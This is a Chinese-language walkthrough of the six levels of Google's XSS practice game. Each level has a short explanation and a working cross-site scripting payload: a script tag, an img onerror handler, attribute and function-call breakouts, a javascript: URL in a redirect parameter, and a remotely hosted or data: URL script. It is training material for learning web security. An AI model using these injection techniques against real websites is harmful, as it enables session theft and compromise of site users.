这是一个在线靶场-xss小游戏通关,一共6关。链接地址:
编辑第一关:Hello, world of XSS
第一关没有对输入的字符串进行任何的过滤,我们可以在漏洞的窗体或直接在输入栏输入特定的恶意url以之行你想要的JavaScript脚本。
<script>alert('123');</script>
编辑
编辑
第二关:Persistence is key
编辑
如果还是输入<script>alert()</script>代码,发现并没有弹窗,预定义的字符代码已经被转译成了HTML实体了 。直接闭合前后标签,构造新的标签即可。
<img src="1.jpg" onerror="javascript:alert(1);"/>
编辑
第三关:That sinking feeling...
编辑
这一关的输出是在img src里面,可以说是考js闭合问题,直接闭合前面的src,造成无法加载成功弹框。
观察网页,是三张图片,分别代表三个不同的url链接。实际上就是用#
后面跟的数字用来区分不同的图片。
https://xss-game.appspot.com/level3/frame#'><script>alert(123);</script>
编辑
编辑
编辑
第四关:Context matters
编辑
编辑
我们将3改成<script>alert(123);</script>。
编辑
地址栏直接输出了,但是奇怪的是下面的计时器脚本仍然被执行了,想到应该是设置了默认值。
查看网页源代码
<script> function startTimer(seconds) { seconds = parseInt(seconds) || 3; setTimeout(function() { window.confirm("Time is up!"); window.history.back(); }, seconds * 1000); } </script>
看到了确实有个默认值等于3秒,这就是之前直接alert弹窗失败的原因。
在地址栏加上引号,如图,此时进入了一个无线循环中。
编辑
闭合图中的startTimer()函数,然后弹框即可。编辑
https://xss-game.appspot.com/level4/frame?timer=100'),alert('Borber
编辑
第五关:Breaking protocol
编辑
编辑
我们尝试输入<script>alert(123);</script>
编辑
查看网页源代码
<!doctype html> <html> <head> <!-- Internal game scripts/styles, mostly boring stuff --> <script src="/static/game-frame.js"></script> <link rel="stylesheet" href="/static/game-frame-styles.css" /> </head> <body id="level5"> <img src="/static/logos/level5.png" /><br><br> <!-- We're ignoring the email, but the poor user will never know! --> Enter email: <input id="reader-email" name="email" value=""> <br><br> <a href="{{ next }}">Next >></a> </body> </html>
可以看到一个超链接标签,这个是用来跳转到新页面的按钮,用到的代码结构如下。
<a href='javascript:doSomething()'>...</a>
执行权首先落在都Something()函数,若存在返回值则将返回值返给超链接进行合成。这样的便利催生了下面的注入代码:首先在地址栏输入注入代码接着敲回车键,这会更改其默认url地址,然后在输入栏再写一遍注入代码并回车即可。
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert("Borber")
编辑
第六关:Follow the 🐇
编辑
尝试着输入
编辑
首先写一个最简单的一句话JavaScript脚本aa.js
:
alert(1);
放到/var/www/html/
目录下面,接着开启Kali自带的apache2服务器。现在你的文件对目标网站是可见的了,至少说是可被加载的了。把下面的注入字符串写到#号后面实现代码注入。
HTTP:127.0.0.1/aa.js
注入成功。这里注意的是,跟在#后面的HTTP
必须大写,否则在#后面要先写一个空格。
编辑
最简单的方法是这样写:
data:text/javascript,alert(1);
编辑